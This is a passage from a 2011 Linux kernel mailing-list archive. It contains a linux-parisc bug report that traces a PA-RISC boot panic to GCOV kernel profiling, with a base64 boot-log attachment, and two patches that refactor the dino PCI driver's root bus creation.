	<bae45ceac5dc55d07fb5ab64243b85bc.squirrel@webmail.sf-mail.de>
	<98cf8455f773aecf8ae811a810ff7844.squirrel@webmail.sf-mail.de>
	<1318426901.3027.6.camel@dabdike.int.hansenpartnership.com>
	<b55e3ed923e7722f57b37099a9071f44.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/KmZSVdqN1=+EQMzUJBi=yZq"
X-Trace: dough.gmane.org 1319815329 16584 80.91.229.12 (28 Oct 2011 15:22:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2011 15:22:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 28 17:22:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RJoFx-0008Hr-8A
	for glpp-linux-parisc@lo.gmane.org; Fri, 28 Oct 2011 17:22:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932409Ab1J1PWE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Oct 2011 11:22:04 -0400
Original-Received: from smtp-vbr16.xs4all.nl ([194.109.24.36]:2495 "EHLO
	smtp-vbr16.xs4all.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932381Ab1J1PWE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Oct 2011 11:22:04 -0400
X-Greylist: delayed 613 seconds by postgrey-1.27 at vger.kernel.org; Fri, 28 Oct 2011 11:22:03 EDT
Original-Received: from epia.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(authenticated bits=0)
	by smtp-vbr16.xs4all.nl (8.13.8/8.13.8) with ESMTP id p9SFBjkZ061840
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO)
	for <linux-parisc@vger.kernel.org>; Fri, 28 Oct 2011 17:11:48 +0200 (CEST)
	(envelope-from jer@gentoo.org)
In-Reply-To: <b55e3ed923e7722f57b37099a9071f44.squirrel@webmail.sf-mail.de>
X-Mailer: Claws Mail 3.7.10 (GTK+ 2.24.5; i686-pc-linux-gnu)
X-Virus-Scanned: by XS4ALL Virus Scanner
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4007>

--MP_/KmZSVdqN1=+EQMzUJBi=yZq
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Wed, 26 Oct 2011 15:02:35 +0200
"Rolf Eike Beer" <eike-kernel@sf-tec.de> wrote:

> Ok, I think I found the culprit. This change to the .config makes my
> machine  boot:
> 
> --- kernel-config-parisc-3.1.0  2011-10-26 14:56:42.418487152 +0200
> +++ config      2011-10-26 14:56:29.583485965 +0200
> @@ -16,6 +16,7 @@
>  CONFIG_NEED_DMA_MAP_STATE=y
>  CONFIG_NEED_SG_DMA_LENGTH=y
>  CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
> +CONFIG_CONSTRUCTORS=y
>  CONFIG_HAVE_IRQ_WORK=y
>  CONFIG_IRQ_WORK=y
> 
> @@ -114,6 +115,7 @@
>  #
>  # GCOV-based kernel profiling
>  #
> +CONFIG_GCOV_KERNEL=y
>  # CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
>  CONFIG_SLABINFO=y
>  CONFIG_RT_MUTEXES=y
> @@ -1524,7 +1528,7 @@
>  CONFIG_MAGIC_SYSRQ=y
>  CONFIG_STRIP_ASM_SYMS=y
>  # CONFIG_UNUSED_SYMBOLS is not set
> -# CONFIG_DEBUG_FS is not set
> +CONFIG_DEBUG_FS=y
>  CONFIG_HEADERS_CHECK=y
>  # CONFIG_DEBUG_SECTION_MISMATCH is not set
>  CONFIG_DEBUG_KERNEL=y

Confirmed. Disabling CONFIG_GCOV_KERNEL was the only change I made.
Kernel boot log attached.


Regards,
     jer
--MP_/KmZSVdqN1=+EQMzUJBi=yZq
Content-Type: application/octet-stream; name=gcov_panic
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=gcov_panic

SEFSRCBCb290ZWQuCnBhbG8gaXBsIDEuMTggcG9ydGFnZUBlbG1lciBUaHUgT2N0IDIwIDE3OjIw
OjI5IENFU1QgMjAxMQoKUGFydGl0aW9uIFN0YXJ0KE1CKSBFbmQoTUIpIElkIFR5cGUKMSAgICAg
ICAgICAgICAgIDEgICAgICAxNiAgIGYwIFBhbG8KMiAgICAgICAgICAgICAgMTcgICAgIDExMiAg
IDgzIGV4dDIKMyAgICAgICAgICAgICAxMTMgICAgIDYwMSAgIDgyIHN3YXAKNCAgICAgICAgICAg
ICA2MDIgICAxNTg2MCAgIDgzIGV4dDIKClBBTE8oRjApIHBhcnRpdGlvbiBjb250YWluczoKICAg
IDAvdm1saW51eDY0IDc0NTQ3OTggYnl0ZXMgQCAweDQ0MDAwCgoJQ29tbWFuZCBsaW5lIGZvciBr
ZXJuZWw6ICdyb290PS9kZXYvc2RhNCBjb25zb2xlPXR0eVMwIG5ldGNvbnNvbGU9QDEwLjAuMC4x
NDAvLEAxMC4wLjAuMTUzLyB2aWRlbz1tYXRyb3hmYjp2ZXNhOjB4MTE3IHJvb3Rmc3R5cGU9ZXh0
NCBwYWxvX2tlcm5lbD0yL3ZtbGludXgnCglTZWxlY3RlZCBrZXJuZWw6IC92bWxpbnV4IGZyb20g
cGFydGl0aW9uIDIKCUVMRjMyIGV4ZWN1dGFibGUKCUVudHJ5IDAwMTAwMDAwIGZpcnN0IDAwMTAw
MDAwIG4gMwoJU2VnbWVudCAwIGxvYWQgMDAxMDAwMDAgc2l6ZSA0MzIxMjgwIG1lZGlhcHRyIDB4
MTAwMAoJU2VnbWVudCAxIGxvYWQgMDA1NzQwMDAgc2l6ZSAxMTA1OTIgbWVkaWFwdHIgMHg0MjAw
MDAKCVNlZ21lbnQgMiBsb2FkIDAwNThmMDAwIHNpemUgOTk4NTYgbWVkaWFwdHIgMHg0M2IwMDAK
CUJyYW5jaGluZyB0byBrZXJuZWwgZW50cnkgcG9pbnQgMHgwMDEwMDAwMC4gIElmIHRoaXMgaXMg
dGhlIGxhc3QKCW1lc3NhZ2UgeW91IHNlZSwgeW91IG1heSBuZWVkIHRvIHN3aXRjaCB5b3VyIGNv
bnNvbGUuICBUaGlzIGlzCglhIGNvbW1vbiBzeW1wdG9tIC0tIHNlYXJjaCB0aGUgRkFRIGFuZCBt
YWlsaW5nIGxpc3QgYXQgcGFyaXNjLWxpbnV4Lm9yZwoKCVsgICAgMC4wMDAwMDBdIEluaXRpYWxp
emluZyBjZ3JvdXAgc3Vic3lzIGNwdXNldAoJWyAgICAwLjAwMDAwMF0gSW5pdGlhbGl6aW5nIGNn
cm91cCBzdWJzeXMgY3B1CglbICAgIDAuMDAwMDAwXSBMaW51eCB2ZXJzaW9uIDMuMC42LUplUiAo
cm9vdEBlbG1lcikgKGdjYyB2ZXJzaW9uIDQuNS4zIChHZW50b28gNC41LjMtcjEgcDEuMCwgcGll
LTAuNC41KSApICM0IFBSRUVNUFQgVGh1IE9jdCAyNyAxODoyODoyOCBDRVNUIDIwMTEKCVsgICAg
MC4wMDAwMDBdIHVud2luZF9pbml0OiBzdGFydCA9IDB4MTA0OGQwMDAsIGVuZCA9IDB4MTA0YzFj
YzAsIGVudHJpZXMgPSAxMzUxNgoJWyAgICAwLjAwMDAwMF0gRlBbMF0gZW5hYmxlZDogUmV2IDEg
TW9kZWwgMTkKCVsgICAgMC4wMDAwMDBdIFRoZSAzMi1iaXQgS2VybmVsIGhhcyBzdGFydGVkLi4u
CglbICAgIDAuMDAwMDAwXSBib290Y29uc29sZSBbdHR5QjBdIGVuYWJsZWQKCVsgICAgMC4wMDAw
MDBdIEluaXRpYWxpemVkIFBEQyBDb25zb2xlIGZvciBkZWJ1Z2dpbmcuCglbICAgIDAuMDAwMDAw
XSBEZXRlcm1pbmluZyBQREMgZmlybXdhcmUgdHlwZTogU3lzdGVtIE1hcC4KCVsgICAgMC4wMDAw
MDBdIG1vZGVsIDAwMDA1ZGMwIDAwMDAwNDgxIDAwMDAwMDAwIDAwMDAwMDAyIDc4MTIzZmIyIDEw
MDAwMGYwIDAwMDAwMDA4IDAwMDAwMGIyIDAwMDAwMGIyCglbICAgIDAuMDAwMDAwXSB2ZXJzICAw
MDAwMDIwMwoJWyAgICAwLjAwMDAwMF0gQ1BVSUQgdmVycyAxOSByZXYgNyAoMHgwMDAwMDI2NykK
CVsgICAgMC4wMDAwMDBdIGNhcGFiaWxpdGllcyAweDcKCVsgICAgMC4wMDAwMDBdIG1vZGVsIDkw
MDAvNzg1L0MzNjUwCglbICAgIDAuMDAwMDAwXSBUb3RhbCBNZW1vcnk6IDIwNDggTUIKCVsgICAg
MC4wMDAwMDBdIExDRCBkaXNwbGF5IGF0IGYwNWQwMDA4LGYwNWQwMDAwIHJlZ2lzdGVyZWQKCVsg
ICAgMC4wMDAwMDBdIEJhY2t0cmFjZToKCVsgICAgMC4wMDAwMDBdICBbPDEwNTdiNGM0Pl0gc2V0
dXBfcGVyX2NwdV9hcmVhcysweGI4LzB4ZGMKCVsgICAgMC4wMDAwMDBdICBbPDEwNTc0NzUwPl0g
c3RhcnRfa2VybmVsKzB4MTE4LzB4Mzk4CglbICAgIDAuMDAwMDAwXSAgWzwxMDExNDhmYz5dIHN0
YXJ0X3BhcmlzYysweDRjLzB4NjgKCVsgICAgMC4wMDAwMDBdCglbICAgIDAuMDAwMDAwXQoJWyAg
ICAwLjAwMDAwMF0gS2VybmVsIEZhdWx0OiBDb2RlPTI2IHJlZ3M9MTA0YzQyNDAgKEFkZHI9MTA1
OGZlODApCglbICAgIDAuMDAwMDAwXQoJWyAgICAwLjAwMDAwMF0gICAgICBZWnJ2V0VTVEhMTlhC
Q1ZNY2JjYmNiY2JPR0ZSUVBESQoJWyAgICAwLjAwMDAwMF0gUFNXOiAwMDAwMDAwMDAwMDAwMTAw
MTExMTExMTEwMDAwMTExMCBOb3QgdGFpbnRlZAoJWyAgICAwLjAwMDAwMF0gcjAwLTAzICAwMDA0
ZmYwZSAxMDU1YjgwMCAxMDU3YjE5OCAxMTZkMDI0MAoJWyAgICAwLjAwMDAwMF0gcjA0LTA3ICAw
MDAwMDAwMCAxMTZkMjAwMCAxMTZkYTE4MCAwMDAwMDAwOAoJWyAgICAwLjAwMDAwMF0gcjA4LTEx
ICAxMTZkYTE4MCAxMTZkYTBjMCAwMDA0MDAwZSAxMDExNDhiNAoJWyAgICAwLjAwMDAwMF0gcjEy
LTE1ICAwMDAwMDAwMCBmZmZmZmZmZiAwMDAwMDAwMCBmMDQwMDAwNAoJWyAgICAwLjAwMDAwMF0g
cjE2LTE5ICBmMDAwMDg4NCBmMDAwMDE3YyBmMDAwMDE3NCAxMDU4ZmU4MAoJWyAgICAwLjAwMDAw
MF0gcjIwLTIzICAwMDAwMDAwMCAxMTZkYTFhYyAwMDAwMDAwMCAwMDAwMDAwMQoJWyAgICAwLjAw
MDAwMF0gcjI0LTI3ICAwMDAwMDAwMCAwMDAwMDBmZiAxMTZkYTFhOCAxMDRjODAwMAoJWyAgICAw
LjAwMDAwMF0gcjI4LTMxICAwMDAwMDAwMCAxMDJiNTQzMCAxMDRjNDI0MCAwMDAwMDAwMwoJWyAg
ICAwLjAwMDAwMF0gc3IwMC0wMyAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAK
CVsgICAgMC4wMDAwMDBdIHNyMDQtMDcgIDAwMDAwMDAwIDAwMDAwMDAwIDAwMDAwMDAwIDAwMDAw
MDAwCglbICAgIDAuMDAwMDAwXQoJWyAgICAwLjAwMDAwMF0gSUFTUTogMDAwMDAwMDAgMDAwMDAw
MDAgSUFPUTogMTA1N2IyMjQgMTA1N2IyMjgKCVsgICAgMC4wMDAwMDBdICBJSVI6IDBlNzQxMjgw
ICAgIElTUjogMDAwMDAwMDAgIElPUjogMTA1OGZlODAKCVsgICAgMC4wMDAwMDBdICBDUFU6ICAg
ICAgICAwICAgQ1IzMDogMTA0YzQwMDAgQ1IzMTogZmVmZmY3ZmYKCVsgICAgMC4wMDAwMDBdICBP
UklHX1IyODogMTA0YzQyZDgKCVsgICAgMC4wMDAwMDBdICBJQU9RWzBdOiBwY3B1X3NldHVwX2Zp
cnN0X2NodW5rKzB4NjMwLzB4ODE4CglbICAgIDAuMDAwMDAwXSAgSUFPUVsxXTogcGNwdV9zZXR1
cF9maXJzdF9jaHVuaysweDYzNC8weDgxOAoJWyAgICAwLjAwMDAwMF0gIFJQKHIyKTogcGNwdV9z
ZXR1cF9maXJzdF9jaHVuaysweDVhNC8weDgxOAoJWyAgICAwLjAwMDAwMF0gQmFja3RyYWNlOgoJ
WyAgICAwLjAwMDAwMF0gIFs8MTA1N2I0YzQ+XSBzZXR1cF9wZXJfY3B1X2FyZWFzKzB4YjgvMHhk
YwoJWyAgICAwLjAwMDAwMF0gIFs8MTA1NzQ3NTA+XSBzdGFydF9rZXJuZWwrMHgxMTgvMHgzOTgK
CVsgICAgMC4wMDAwMDBdICBbPDEwMTE0OGZjPl0gc3RhcnRfcGFyaXNjKzB4NGMvMHg2OAoJWyAg
ICAwLjAwMDAwMF0KCVsgICAgMC4wMDAwMDBdIEtlcm5lbCBwYW5pYyAtIG5vdCBzeW5jaW5nOiBL
ZXJuZWwgRmF1bHQKCVsgICAgMC4wMDAwMDBdIEJhY2t0cmFjZToKCVsgICAgMC4wMDAwMDBdICBb
PDEwMTBmOWVjPl0gcGFuaWMrMHhhNC8weDI2OAoJWyAgICAwLjAwMDAwMF0gIFs8MTAxMTUzNWM+
XSBwYXJpc2NfdGVybWluYXRlKzB4MTAwLzB4MTA0CglbICAgIDAuMDAwMDAwXSAgWzwxMDExNTk3
MD5dIGhhbmRsZV9pbnRlcnJ1cHRpb24rMHg2MTAvMHg2M2MKCVsgICAgMC4wMDAwMDBdICBbPDEw
MTA0MDc4Pl0gaW50cl9jaGVja19zaWcrMHgwLzB4MzQKCVsgICAgMC4wMDAwMDBdICBbPDEwMTEw
MWUwPl0gcHJlZW1wdF9zY2hlZHVsZSsweDQ4LzB4NzgKCVsgICAgMC4wMDAwMDBdICBbPDEwMTM2
NWQ0Pl0gdnByaW50aysweDQwNC8weDQ1NAoJWyAgICAwLjAwMDAwMF0gIFs8MTAxMTQ4YjQ+XSBz
dGFydF9wYXJpc2MrMHg0LzB4NjgKCVsgICAgMC4wMDAwMDBdICBbPDEwMTE0OGI0Pl0gc3RhcnRf
cGFyaXNjKzB4NC8weDY4CglbICAgIDAuMDAwMDAwXSAgWzwxMDExNDhiND5dIHN0YXJ0X3Bhcmlz
YysweDQvMHg2OAoJWyAgICAwLjAwMDAwMF0gIFs8MTAxMTQ4YjQ+XSBzdGFydF9wYXJpc2MrMHg0
LzB4NjgKCVsgICAgMC4wMDAwMDBdICBbPDEwMTE0OGI0Pl0gc3RhcnRfcGFyaXNjKzB4NC8weDY4
CglbICAgIDAuMDAwMDAwXSAgWzwxMDExNDhiND5dIHN0YXJ0X3BhcmlzYysweDQvMHg2OAoJWyAg
ICAwLjAwMDAwMF0gIFs8MTAxMTQ4YjQ+XSBzdGFydF9wYXJpc2MrMHg0LzB4NjgKCVsgICAgMC4w
MDAwMDBdICBbPDEwMTE0OGI0Pl0gc3RhcnRfcGFyaXNjKzB4NC8weDY4CglbICAgIDAuMDAwMDAw
XSAgWzwxMDExNDhiND5dIHN0YXJ0X3BhcmlzYysweDQvMHg2OAoJWyAgICAwLjAwMDAwMF0gIFs8
MTAxMTQ4YjQ+XSBzdGFydF9wYXJpc2MrMHg0LzB4NjgKCVsgICAgMC4wMDAwMDBdCgo=

--MP_/KmZSVdqN1=+EQMzUJBi=yZq--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH v3 19/34] parisc/PCI: dino: use pci_create_bus() instead of
	pci_scan_bus_parented()
Date: Fri, 28 Oct 2011 16:27:07 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20111028222707.30729.18812.stgit@bhelgaas.mtv.corp.google.com>
References: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319840838 2956 80.91.229.12 (28 Oct 2011 22:27:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2011 22:27:18 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Sat Oct 29 00:27:14 2011
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1RJutN-0002et-MY
	for glp-linux-pci@lo.gmane.org; Sat, 29 Oct 2011 00:27:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933641Ab1J1W1L (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Fri, 28 Oct 2011 18:27:11 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:9881 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932828Ab1J1W1K (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Fri, 28 Oct 2011 18:27:10 -0400
Original-Received: from wpaz13.hot.corp.google.com (wpaz13.hot.corp.google.com [172.24.198.77])
	by smtp-out.google.com with ESMTP id p9SMR9uI005718;
	Fri, 28 Oct 2011 15:27:09 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1319840829; bh=g5oaUnkjtzMhp3HtTTaJFnSLhEs=;
	h=Subject:To:From:Cc:Date:Message-ID:In-Reply-To:References:
	 MIME-Version:Content-Type:Content-Transfer-Encoding;
	b=pnyJQUMBIGE5Sp0ovftKKBO5ErqqiieR2S5I+2rQiOBlEET+udbrrcJEsTnahwk2x
	 KCQjSr1TzvAuOwXqkejxw==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=subject:to:from:cc:date:message-id:in-reply-to:references:
	user-agent:mime-version:content-type:
	content-transfer-encoding:x-system-of-record;
	b=E5fmX7eofc1WGLRFVaMQV4N062uHNPnInHk5p5sSU39e6Hg20I3zngHD3hgCFrjWK
	FoVSglgyClhQfH40G9e5w==
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpaz13.hot.corp.google.com with ESMTP id p9SMR7ME018555;
	Fri, 28 Oct 2011 15:27:07 -0700
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id 6263320CB1;
	Fri, 28 Oct 2011 15:27:07 -0700 (PDT)
In-Reply-To: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-System-Of-Record: true
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:12346 gmane.linux.kernel.cross-arch:11415 gmane.linux.ports.parisc:4008
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/12346>

No functional change here; just converting from pci_scan_bus_parented()
to pci_create_bus() to make a future patch simpler.

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/dino.c |   22 ++++++++++++----------
 1 files changed, 12 insertions(+), 10 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index bcd5d54..90252c0 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1007,22 +1007,24 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_scan_bus_parented(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_create_bus(&dev->dev,
 			 dino_current_bus, &dino_cfg_ops, NULL);
-
-	if(bus) {
-		/* This code *depends* on scanning being single threaded
-		 * if it isn't, this global bus number count will fail
-		 */
-		dino_current_bus = bus->subordinate + 1;
-		pci_bus_assign_resources(bus);
-		pci_bus_add_devices(bus);
-	} else {
+	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
 		       dev_name(&dev->dev), dino_current_bus);
 		/* increment the bus number in case of duplicates */
 		dino_current_bus++;
+		return 0;
 	}
+
+	bus->subordinate = pci_scan_child_bus(bus);
+
+	/* This code *depends* on scanning being single threaded
+	 * if it isn't, this global bus number count will fail
+	 */
+	dino_current_bus = bus->subordinate + 1;
+	pci_bus_assign_resources(bus);
+	pci_bus_add_devices(bus);
 	return 0;
 }
 


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH v3 20/34] parisc/PCI: dino: convert to pci_create_root_bus()
	for correct root bus resources
Date: Fri, 28 Oct 2011 16:27:12 -0600
Lines: 70
Approved: news@gmane.org
Message-ID: <20111028222712.30729.63585.stgit@bhelgaas.mtv.corp.google.com>
References: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319840842 2990 80.91.229.12 (28 Oct 2011 22:27:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2011 22:27:22 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Sat Oct 29 00:27:17 2011
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1RJutR-0002et-ER
	for glp-linux-pci@lo.gmane.org; Sat, 29 Oct 2011 00:27:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933656Ab1J1W1Q (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Fri, 28 Oct 2011 18:27:16 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:9896 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933642Ab1J1W1P (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Fri, 28 Oct 2011 18:27:15 -0400
Original-Received: from hpaq12.eem.corp.google.com (hpaq12.eem.corp.google.com [172.25.149.12])
	by smtp-out.google.com with ESMTP id p9SMREwt001604;
	Fri, 28 Oct 2011 15:27:14 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1319840834; bh=h6PlEJ3zJtYWx6MsTcNCTFx40cU=;
	h=Subject:To:From:Cc:Date:Message-ID:In-Reply-To:References:
	 MIME-Version:Content-Type:Content-Transfer-Encoding;
	b=ptbGzbZdOH4vdGDq9/hm420RFkAX5e3/zrYXYOusNY3tC115+dmb/8Cn8KHQX5W4m
	 DAIu85uxmCgUhwTeGNydw==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=subject:to:from:cc:date:message-id:in-reply-to:references:
	user-agent:mime-version:content-type:
	content-transfer-encoding:x-system-of-record;
	b=GZ38bKt0MubbQTYP3HkVx+5H2gD3u9PE0kSEbn/kKCRGRFnc/5L3o3LFtXJ2E35en
	ULnImlsJ+qrWxrjUSJpyQ==
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by hpaq12.eem.corp.google.com with ESMTP id p9SMRCbF013071;
	Fri, 28 Oct 2011 15:27:13 -0700
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id 8D9F320CB1;
	Fri, 28 Oct 2011 15:27:12 -0700 (PDT)
In-Reply-To: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-System-Of-Record: true
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:12347 gmane.linux.kernel.cross-arch:11416 gmane.linux.ports.parisc:4009
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/12347>

Supply root bus resources to pci_create_root_bus() so they're correct
immediately.  This fixes the problem of "early" and "header" quirks seeing
incorrect root bus resources.

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/dino.c |   27 ++++++++++++---------------
 1 files changed, 12 insertions(+), 15 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 90252c0..7ff10c1 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -562,19 +562,6 @@ dino_fixup_bus(struct pci_bus *bus)
 	/* Firmware doesn't set up card-mode dino, so we have to */
 	if (is_card_dino(&dino_dev->hba.dev->id)) {
 		dino_card_setup(bus, dino_dev->hba.base_addr);
-	} else if(bus->parent == NULL) {
-		/* must have a dino above it, reparent the resources
-		 * into the dino window */
-		int i;
-		struct resource *res = &dino_dev->hba.lmmio_space;
-
-		bus->resource[0] = &(dino_dev->hba.io_space);
-		for(i = 0; i < DINO_MAX_LMMIO_RESOURCES; i++) {
-			if(res[i].flags == 0)
-				break;
-			bus->resource[i+1] = &res[i];
-		}
-
 	} else if (bus->parent) {
 		int i;
 
@@ -927,6 +914,7 @@ static int __init dino_probe(struct parisc_device *dev)
 	const char *version = "unknown";
 	char *name;
 	int is_cujo = 0;
+	LIST_HEAD(resources);
 	struct pci_bus *bus;
 	unsigned long hpa = dev->hpa.start;
 
@@ -1003,15 +991,24 @@ static int __init dino_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = dino_dev;
 
+	pci_add_resource(&resources, &dino_dev->hba.io_space);
+	if (dino_dev->hba.lmmio_space.flags)
+		pci_add_resource(&resources, &dino_dev->hba.lmmio_space);
+	if (dino_dev->hba.elmmio_space.flags)
+		pci_add_resource(&resources, &dino_dev->hba.elmmio_space);
+	if (dino_dev->hba.gmmio_space.flags)
+		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
+
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_bus(&dev->dev,
-			 dino_current_bus, &dino_cfg_ops, NULL);
+	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+			 dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
 		       dev_name(&dev->dev), dino_current_bus);
+		pci_free_resource_list(&resources);
 		/* increment the bus number in case of duplicates */
 		dino_current_bus++;
 		return 0;


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 21/34] parisc/PCI: lba: deal with LMMIO/PAT overlaps before
	creating PCI root bus
Date: Fri, 28 Oct 2011 16:27:17 -0600
Lines: 82
Approved: news@gmane.org
Message-ID: <20111028222717.30729.84926.stgit@bhelgaas.mtv.corp.google.com>
References: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
